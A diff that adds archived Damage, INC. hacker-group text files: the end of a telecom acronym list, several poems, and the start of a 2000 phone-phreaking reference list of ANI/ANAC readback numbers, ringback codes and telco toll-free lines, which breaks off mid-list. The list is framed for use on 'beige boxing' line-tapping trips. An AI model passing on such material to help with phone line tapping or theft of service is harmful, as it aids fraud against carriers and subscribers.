+SP Signaling Point +SPACH SMS point-to-point messaging, paging, and access response channel +SPAN Space Physics Analysis Network +SPAN System Performance ANalyzer +SPC Southern Pacific Communications +SPC Stored Program Control +SPCS Stored Program Control Systems +SPI Serial Peripheral Interface +SPUC/DL Serial Peripheral Unit Controller/Data Link +SQL/DS Structured Query Language/Data System +SRA Selective Routing Arrangement +SS Special Services +SSAS Station Signaling and Announcement Subsystem +SSB Single-SideBand +SSBAM Single-SideBand Amplitude Modulation +SSC Special Services Center +SSCP Subsystem Services Control Point +SSO Satellite Switching Office +SSP Signal Switching Point +SSP Sponsor Selective Pricing +SSP System Status Panel +SSPC SSP Controller +SSPRU SSP Relay Unit +SSTTSS Space-Space-Time-Time-Space-Space network +ST STart +STC Serving Test Center +STC Switching Technical Center +STD Subscriber Trunk Dialing +STDM Statistical Time Division Multiplexing +STP Signal Transfer Point +STS Shared Tenant Service +STS Space-Time-Space network +SVC Switched Virtual Circuits +SVS Switched Voice Service +SWB SouthWestern Bell +SX SimpleX signaling +SXS Step by (X) Step +SYC SYstem Control +SYSADMIN SYStem ADMINistrator +SYSGEN SYStem GENeration +SZ Send Zmodem +T Tip +T1/OS T1 carrier OutState +T1FE T1 carrier Front End +TA Terminal Adaptor +TA Transfer Allowed +TAC Terminal Access Circuit +TAP Telephone Assistance Plan +TAS Telephone Answering Service +TASC Technical Assistance Service Center +TASC Telecommunications Alarm Surveillance and Control system +TASI Time Assignment Speech Interpolation system +TASM Turbo Assembler +TAT TransAtlantic Telephone +TB TerraByte +TC Timing Counter +TC Toll Center +TCAP Transaction Capabilities Applications Port +TCAS T-Carrier Administration System +TCC Trunk Class Code +TCG Test Call Generation +TCM Time Compression Multiplexer +TCM Trellis Coded Modulation +TCR Transient Call Record +TDAS Traffic Data Administration System +TDC Tape Data Controller +TDC Terrestrial Data Circuit +TDD Telecommunications Device for Deaf +TDM Time Division Multiplexing +TDMA Time Division Multiple Access +TDR Time Domain Reflectometer +TE1 Terminal Equipment Type 1 +TE2 Terminal Equipment Type 2 +TE Terminal Equipment +TE Transverse Electric +TEHO Tail End Hop Off +TELSAM TELephone Service Attitude Measurement +TERM TERMinal +TF Toll Free +TFLAP T-carrier Fault-Locating Applications Program +TFS Trunk Forecasting System +TGC Terminal Group Controller +TGN Trunk Group Number +TH Trouble History +TIA Telecommunications Industry Association +TIA Telephone Information Access +TIRKS Trunk Integrated Record Keeping System +TLD Top Level Domain +TLM Trouble Locating Manual +TLN Trunk Line Network +TLP Transmission Level Point +TLTP Trunk Line and Test Panel +TM Transverse Magnetic +TMDF Trunk Main Distributing Frame +TMMS Telephone Message Management System +TMR Transient Memory Record +TMRS Traffic Measurement and Recording System +TMRS Traffic Metering Remote System +TMS Time-Multiplexed Switch +TN Telephone Number +TN Transaction Number +TNDS Total Network Data System +TNN Trunk Network Number +TNOP Total Network Operation Plan +TNPC Traffic Network Planning Center +TNPP Telocator Network Paging Protocol +TOPS Timesharing OPerating System +TOPS Traffic Operator Position System +TP Toll Point +TP Turbo Pascal +TPMP Total network data system Performance Measurement Plan +TR Test Register +TR Transfer Register +TREAT Trouble Report Evaluation Analysis Tool +TRMTR TRamsMiTteR +TRR Tip-Ring Reverse +TSCPF Time Switch and Call Processor Frame +TSCPF Time Switch and Central Processor Frame +TSI Time Slot Interchanger +TSO Time Sharing Option +TSORT Transmission System Optimum Relief Tool +TSP Test SuPervisor +TSP Traffic Service Position +TSPS Traffic Service Position System +TSS Trunk Servicing System +TSST Time-Space-Space-Time network +TST Time-Space-Time network +TST Traveling-Wave Tube +TSTS Time-Space-Time-Space network +TT Trunk Type +TTC Terminating Toll Center +TTL Transistor-Transistor Logic +TTP Trunk Test Panel +TTS Trunk Time Switch +TTTN Tandem Tie Trunk Network +TTY TeleTYpewriter +TTYC TTY Controller +TUR Traffic Usage Recording +TUR Trunk Utilization Report +TWX TeletypeWriter eXchange +UCD Uniform Call Distribution +UDP User Datagram Protocol +UIC User Identification Code +UID User ID +UITP Universal Information Transport Plan +UNISTAR UNIversal Single call Telecommunications Answering & Repair +UPC Universal Product Code +UPS Uninterruptable Power Supply +URL Universal Resource Locator +USB Upper Side Band +USITA United States Independent Telephone Association +USO Universal Service Order +USOC Universal Service Order Code +USP Universal Sampling Plan +UUCICO Unix to Unix Copy Incoming Copy Outgoing +UUCP Unix to Unix Copy Program +VAN Value Added Network +VC Virtual Circuit +VCS Virtual Circuit System +VER VERify +VF Voice Frequency +VFY VeriFY +VGA Video Graphics Array +VGF Voice Grade Facility +VHF Very High Frequency +VINES VIrtual NEtwork Software +VIU Voiceband Interface Unit +VLSI Very Large-Scale Integrated circuitry +VMB Voice Mail Box +VM/SP Virtual Machine/System Product +VMCF Virtual Machine Communications Facility +VMR Volt-Meter Reverse +VMRS Voice Message Relay System +VMS Virtual Memory operating System +VMS Voice Mail/Message System +VMS Voice Management System +VNF Virtual Network Feature +VNL Via Net Loss plan +VNLF Via Net Loss Factor +VODAS Voice Over Data Access Station +VPN Virtual Private Network +VRS Voice Response System +VRU Voice Response Unit +VSAM Virtual Storage Access Method +VSAT Very Small Aperature Terminal +VSB Vestigial SideBand modulation +VSE Virtual Storage Extended +VSR Voice Storage and Retrieval +VSS Voice Storage System +VSSP Voice Switch Signaling Point +VTAM Virtual Telecommunications Access Method +VTI Virtual Terminal Interface +VTOC Volume Table Of Contents +VTS Video Teleconferencing System +WAN Wide Area Network +WATS Wide Area Telephone Service +WC Wire Center +WCPC Wire Center Planning Center +WDM Wavelength Division Multiplexing +WDT Watch Dog Timer +WM Work Manager +WOS Wireless Office Services +WWW World Wide Web +XB X-Bar +XBAR X-BAR +XBT X-Bar Tandem +XFE X-Front End +XMS eXtended Multiprocessor operating System +XPD Cross Polarization Discrimination +Y2K Year 2000 +YP Yellow Pages +ZL Zero Loss +ZLTR Zero Loss Terminating Resistor + + +Sources: +------- + +This list was compiled over several months time and spans many areas of +interest (from telco terms to general/common computer terms). Multiple sources +were used, including: a list from Metal Shop Private BBS (as published in +Phrack), a list from PIMP issue #3, text files on specific networks, various +telco documents (Bell, AT&T, MCI) I've found and read, my own knowledge, and +from memory, etc. It isn't a complete list by any means, but it's as complete +as it's ever going to be. So, that's why I decided that I might as well release +it the way it is. It was originally released at the end of 1998 in issue #13 of +the Damage, INC. Newsletter. A few additions and minor changes have been made +to it since then. I may decide to update it and release a new version sometime +in the distant future. That is, if I have the time to type all of the acronyms +and definitions from various documents that I've obtained. Gathering together +masses of loose papers that are strewn around is an undertaking in itself. + +Final Notes: +----------- + +Hopefully you find this small list of acronyms useful. It was created to be +used mainly as a reference for terms that you might run across while exploring +systems, reading text files, looking through documents you found while trashing +or whatever. :)ÿÿÿÿ + +- THC Phreak ú Damage, INC. +damage_inc@disinfo.net +http://surf.to/damage_inc diff --git a/textfiles.com/groups/DAMAGEINC/aquila.txt b/textfiles.com/groups/DAMAGEINC/aquila.txt new file mode 100644 index 00000000..40fdea27 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/aquila.txt @@ -0,0 +1,68 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Eyes of Aquila. + +Arctic air being blasted downward by strong northern winds as a cold front +moves in. Yet you're still warm. You're still who you are... who you've +always been. Still someone with a heart I admire... and want to imagine. + +Warming... + +With eagle eyes you watch from above... observing the situation... studying... +analyzing and disseminating information. Your eyes and mind dissecting anything +and everyone. With eyes of wonder like the Argus, watchful and noticing. Yet +you are calm and easy... and your eyes are not menacing. Ever so pleasant to +imagine... with such beautiful imagery in my mind... dancing. + +Imagining... + +Soothing eyes and gentle words with a calming effect that are melodic in tone. +Poetic without effort, even over the incessant noise and the room's constant +drone. Always so insightful, with wisdom that forces me to think. Always +compassionate, never allowing me to fade... never allowing my spirit to sink. +From the crevasses of your mind, I could drink. + +Soothing... + +My thirst is quenched and you feed me thoughts to contemplate. You are well +worth the price of admission, to get to know... trust and wait for fears to +abate. You've softened me without harming or weakening. Knowing that, I look +forward to all the future encounters we may have... and what they might possibly +bring. In Winter's darkness and discontent you are my Spring. + +Softening... + +A gentle soul that can see right through me, leaving me vulnerable... but not +alone. All of the advice you've given me, all of the pieces, layers and levels +of yourself you've shown. I'm thankful... grateful beyond measure. Just +reading your thoughts... gives me such great pleasure. Your very existence is +something I truly treasure. + +Opening... + +All that I know of you can't be put into words, and yet I still know there's so +much more. So intricate, complex... so deep... you'd take a thousand years to +explore. With words that sustain and satisfy me... knowledge and interest of +things that never cease to amaze... you're more than these eyes can see. +Without judging, your eyes once more cast their hypnotic gaze. And once more +we meet and converse in this strange, electronic place. + +Deepening... + +Written by BLACKENED / Damage, INC. (C)opyright 2001. + +- Dedicated to Aquila. You are all those things, and more. You're also a +true friend that I trust and care deeply about. I can no longer imagine not +having your friendship, since I value it so very much. I treasure your +existence immensely. Thank you for the encouragement, advice, inspiration and +all of the other things you've done for me. ;) diff --git a/textfiles.com/groups/DAMAGEINC/bigbro.txt b/textfiles.com/groups/DAMAGEINC/bigbro.txt new file mode 100644 index 00000000..69384bdf --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/bigbro.txt @@ -0,0 +1,69 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Big Brother Matters. + +So close, no matter how far +Couldn't tear much more lives apart +Forever changing who you are +And we're all that matters. + +Never exploited your mind this way +Life is ours, you live it our way +Bow down on your knees when I say +And the establishment matters. + +Followers I seek and I find in you +Every day for us wealth renewed +Close your minds for a different view +And Big Brother matters. + +Never cared for what they do +Never cared for what they know +But we know. + +So ours, no matter how far +Couldn't steal much more from your heart +Forever creating who you are +And the NWO matters. + +Never cared for what you do | Never cared for what zombies do +Never cared for what you know | Never cared for what zombies know +But we know. | But we know + +Never exploited so many minds this way | Never destroyed so many minds this way +Your life is ours, you live it our way | You're ours, you live life our way +All these words we don't just say. | Your only duty is to obey + +Zombies I seek and I find in you | Naive minds I seek and I find in you +Every day we control something new | Every day for us abusing you +Close your minds for a different view | Fuck your minds for a different view +And the WTO matters. | And Big Brother matters. + +Never cared for what zombies say | Never cared for what slaves say +Never cared for games they play | Never cared how much they pay +Never cared for what they do +Never cared for what they know +And we know. + +So owned, no matter how far | So fucked, no matter how far +Couldn't take much more from your heart | Couldn't rip much more from your heart +Forever raping who you are | Forever changing who you are +No nothing else matters. | No you don't matter. + +Notes: This is a song modelled after Metallica's "Nothing Else Matters". +Obviously, I've modified the lyrics significantly. But that's the style it +has been written in. Music inspires. I've included alternate (alternative?) +lyrics for some of the stanzas and marked them beside. It was written in a +very short amount of time, but I still think it's cool and carries meaning. + +Written by Blackie Lawless / Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/chaos.txt b/textfiles.com/groups/DAMAGEINC/chaos.txt new file mode 100644 index 00000000..1ca4b8b9 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/chaos.txt @@ -0,0 +1,93 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Chaos and Madness. + +In the chaos and madness I live. +It is the place where creativity is born. +Nothing is expected and there's nothing you must give. + +Imagination can be let loose to run wild. +Fears are calmed and inspiration is driven. +It's a state of mind in which thoughts haven't been tamed and turned mild. + +In this open space I'm free to roam and explore. +Its vastness is great. +Overwhelmed by the lingering chaos, but still wanting more. + +Through these plains of existence and doors of perception I traverse. +Over the hills and upon an ocean of madness. +Words cannot begin to describe this strange, almost poetic universe. + +The randomness is apparent. The chaos is evident. +Madness is still upon me, lurking in the crevices of my psyche. +It is here that I can openly rant and vent. + +As I delve into this strange, underground world I can feel a euphoric sensation. +It's unlike anything else I've experienced. +And just as I begin to embrace this place, I start to make some realizations. + +Madness is genius. +It gives meaning to logic and rationality. +And it's much more than just sanity amiss. + +Chaos gives birth to new ideas. +In its disorder, mayhem and blinding emotional fervor lies the hidden truth. +With patience it can become clear to us. + +Chaos is madness and madness is chaos. +They're both equals. The importance of each should never be underestimated. +If their power is ignored, it's at a great loss. + +The contributions they make shouldn't be discounted. +It's a mistake to believe that they aren't needed. +And just because they're undesirable to some doesn't mean they aren't wanted. + +My heart aches and my mind is aflame. +I've had an incredible revelation. +I am madness but I'm not insane. + +I'm immersed in madness. +And I'm surrounded by chaos. +Of that those who know me well will readily attest. + +Into chaos and madness I dive. +Throwing caution to the wind whilst on the edge of the world. +And with them as a part of me, I thrive. + +Don't underestimate the worth of either. +Lest you pay the price. +The reaper isn't a wheeler and dealer. + +Slipping into dementia is a strange feeling. +Every thought, every sensation is heightened. +It's more than a normal high and nothing short of amazing. + +Don't be frightened by death. +Don't avoid danger. +And never let your mind rest. + +Life is chaos. Life is madness. +Everything is the universe and the universe is life. +The universe epitomizes chaos and it embodies madness. + +Note: I'm sure the above words aren't the most poetic you've ever read. The +poem isn't extremely well written. It's more like a rough draft. However, it +wasn't meant to be perfect. Its purpose was to convey what I was thinking +during a particular experience and it was written during a chaotic state of +mind. Altering it would forever change that, thus destroying it. So I've made +no attempt to "improve" it, since that cannot be done without ruining the +original meaning and personal thoughts that it was meant to share. Actually, +the whole fucking thing is basically just a long rant. So take it for what +it is and view what I wrote however you want. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. diff --git a/textfiles.com/groups/DAMAGEINC/dam00spr.txt b/textfiles.com/groups/DAMAGEINC/dam00spr.txt new file mode 100644 index 00000000..c09e9e6f --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam00spr.txt @@ -0,0 +1,2850 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Spring 2000 Edition ú + (Released: 05/05/00) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +This is the fifth edition of the Damage, INC. Phreaky Field Phreaking List. We +recommend that you print it out and take it with you on beige boxing/junction +boxing expeditions or for use as a reference while at payphones. Hell, just +take it with you wherever you travel. You never know when you're going to need +it. :) This comprehensive list includes many toll free numbers for telcos, +test numbers, conferences, computer companies, carriers, cellular, and other +services, etc. It's not just damn phreaky, it's the phreakiest! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI) +(613) 320-2232 ANI for Ottawa, Ontario. +(615) 557-2311 ANI for Nashville, Tennessee. +(954) 780-2411 ANI for Fort Lauderdale, Florida. + +1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time) +1-800-346-0152 ANI. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-800-487-9240 ANI (doesn't work from 519) +1-800-514-9939 ANI (doesn't work from 416/519) +1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI) +1-800-555-1160 ANI (always busy now...) +1-800-555-1170 ANI (always busy now...) +1-800-569-5699 ANI (press "7*#") +1-800-638-2392 Press "2" for ANI info. +1-800-666-1379 Press "1,3,1" for ANI info. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. + +305-780-6095 Ringback for Miami, Florida +320-XXX-XXXX Ringback for Montreal, Quebec. +507-XXX-XXXX Ringback for Alberta. +590-XXX-XXXX Ringback for 204 NPA. +777-XXX-XXXX Ringback for Indiana. +954-780-6321 Ringback for 954 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for North Bay, Ontario (705) +999-XXX-XXXX Ringback for Ottawa, Ontario (613) +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-0900 AT&T Customer Care Center. +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-223-4507 AT&T. +1-800-225-1718 AT&T Prepaid Phone Cards Customer Service. +1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls. +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-232-8200 AT&T Personal Rewards. +1-800-235-4288 AT&T America. +1-800-241-LOST AT&T Lost/Stolen Calling Cards. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T Data Network Business Information Solutions. +1-800-252-7266 AT&T Alascom. (Anchorage, Alaska) +1-800-253-3846 AT&T Customer Care Center for the Federal Government. +1-800-254-8442 AT&T Repairs and Billing. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-338-8095 AT&T (Mandarin) +1-800-338-8097 AT&T (Korean, Cantonese, Mandarin) +1-800-338-8106 AT&T (Cantonese) +1-800-338-8120 AT&T (Japanese) +1-800-342-5288 AT&T Customer Care Center. +1-800-344-5100 AT&T Voice/ISDN Services. +1-800-345-4746 AT&T (Tagalog) +1-800-344-9248 AT&T. +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-361-2218 AT&T Canada. +1-800-362-9689 AT&T Customer Network Service Center. +1-800-367-7956 AT&T. +1-800-387-1026 AT&T Canada Business Sales. +1-800-387-1926 AT&T Canada Customer Care Centre. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-448-1008 AT&T Carrier Choice Protection. +1-800-448-8600 AT&T Global Customer Service Center. +1-800-462-4463 Rogers AT&T Wireless. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-503-6961 AT&T New York Local One Rate Sales. +1-800-503-6962 AT&T Texas Local One Rate Sales. +1-800-522-2157 AT&T Investigations Department. +1-800-524-2455 AT&T Customer Care. +1-800-525-7955 AT&T Direct Call Cards. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-532-2021 AT&T Carrier Line Charge Information. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-542-2025 AT&T (Russian) +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-565-4708 AT&T Canada Long Distance Services. +1-800-567-3692 AT&T Canada Long Distance Services. (French) +1-800-567-4672 AT&T Canada Electronic Commerce Services. +1-800-575-5511 AT&T Canada Long Distance Services. +1-800-575-5533 AT&T Canada Residential Sales. (French) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-647-9808 AT&T (Hindi) +1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System. +1-800-662-3036 AT&T Texas Local One Rate Service. +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-670-6000 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-7-HOSTIN AT&T Internet Services. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-746-7846 AT&T Internet Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-790-6000 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-826-2600 AT&T (Polish) +1-800-827-1226 AT&T Global Network Systems. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-0520 AT&T (Vietnamese) +1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT) +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users. +1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s) +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-872-3883 AT&T. +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-878-3500 AT&T True Connections Personal 500 Number Service. +1-800-888-7600 AT&T Wireless Customer Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-942-6726 AT&T Usage Minimum. +1-800-957-9000 AT&T Canada. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-958-6000 AT&T Canada Long Distance Services. +1-800-959-1090 AT&T New York Local Service. +1-800-967-5363 AT&T WorldNet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-ATT-4ALL AT&T New York Local Service. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-IMAGINE Rogers AT&T Wireless. +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard) +1-888-8-METNET MetroNet AT&T Canada. +1-888-863-8638 AT&T Canada Customer Service. +1-888-888-5413 AT&T WorldNet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) +1-888-ATT-1233 AT&T Canada Internet Service. +1-888-ATT-ALL1 AT&T Customer Care Center. +1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +(314) 444-4444 Ameritech (St. Louis Office) +1-800-207-2228 Ameritech. +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-249-4449 Ameritech Yellow Pages Advertising Sales. +1-800-257-0902 Ameritech Main Office. +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-331-5454 Ameritech. +1-800-346-4377 Ameritech Directory Order Center. +1-800-433-8505 Ameritech Special Needs Center. +1-800-446-PAGE Ameritech Cellular and Paging. +1-800-468-3949 Ameritech Automated Services. +1-800-475-7449 Ameritech Payphone Repair. +1-800-480-8088 Ameritech Business Solutions Center. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-523-7076 Ameritech Security Systems. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-621-4533 Ameritech Bilingual Customer Service. +1-800-621-8650 Ameritech's Lifeline program. +1-800-624-8291 Ameritech Employment Office. (Illinois) +1-800-647-9000 Ameritech PagesPlus Advertising. +1-800-649-3777 Ameritech. (TTY/TDD) +1-800-660-1000 Ameritech Customer Service. +1-800-660-3000 Ameritech Small Business Services. +1-800-662-4531 Ameritech Cellular and Paging. +1-800-707-9999 Ameritech. +1-800-769-4099 Ameritech Annoyance Call Bureau. +1-800-809-0878 Ameritech Payphones. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-848-CAST Ameritech (Americast) Cable Services. +1-800-873-5501 Ameritech's automated billing (RBOC) +1-800-924-1000 Ameritech Customer Service. +1-800-942-9240 Ameritech Employment Office (Chicago area) +1-800-967-5543 Ameritech. +1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted. +1-800-EASY-FIND Ameritech Employee Finder. +1-800-MOBILE-1 Ameritech Cellular and Paging. +1-800-NET-8775 Ameritech Interactive Media Services. (Internet) +1-800-WORKLIFE Ameritech. +1-877-432-3279 Ameritech. +1-888-282-9566 Ameritech Security Systems. +1-888-635-5050 Ameritech Products and Services. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + BCTel/TELUS: +------------------------------------------------------------------------------- + +1-800-447-2688 BCTel Mobility's EasyTouch Service. +1-800-472-9773 TELUS (Payphone Dept.) +1-800-563-0624 TELUS Fax. +1-800-567-0000 TELUS Customer Relations Department. +1-800-575-2355 BCTELUS Help Center. +1-800-661-2355 BCTel Mobility Customer Service. +1-800-661-4260 TELUS Advertising. +1-800-661-6074 TELUS Mobility Paging Customer Service. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BCTel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BCTel Mobility Customer Service Department. +1-800-973-2223 TELUS Directory Delivery Service. (order phone books!) +1-877-310-6110 TELUS Today Customer Service. +1-877-344-3330 BCTel Mobility. +1-888-685-2355 BCTel Multiple Option Messaging. +1-888-811-2323 BCTel Customer Service. +1-888-823-6873 TELUS Call Center Solutions. +1-888-867-7587 (1-888-TMS-PLUS) TELUS. +1-888-905-2284 BCTel Interactive Business Solutions. + + +------------------------------------------------------------------------------- + Bell Atlantic: +------------------------------------------------------------------------------- + +1-800-221-4393 Bell Atlantic VMS. +1-800-222-7900 Bell Atlantic. +1-800-225-5400 Bell Atlantic. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-416-9639 Bell Atlantic Help Desk. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-550-9840 Bell Atlantic Long Distance. +1-800-556-2355 Bell Atlantic Communications. +1-800-621-8900 Bell Atlantic Corporate Headquarters. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-727-2231 Bell Atlantic. +1-800-830-2355 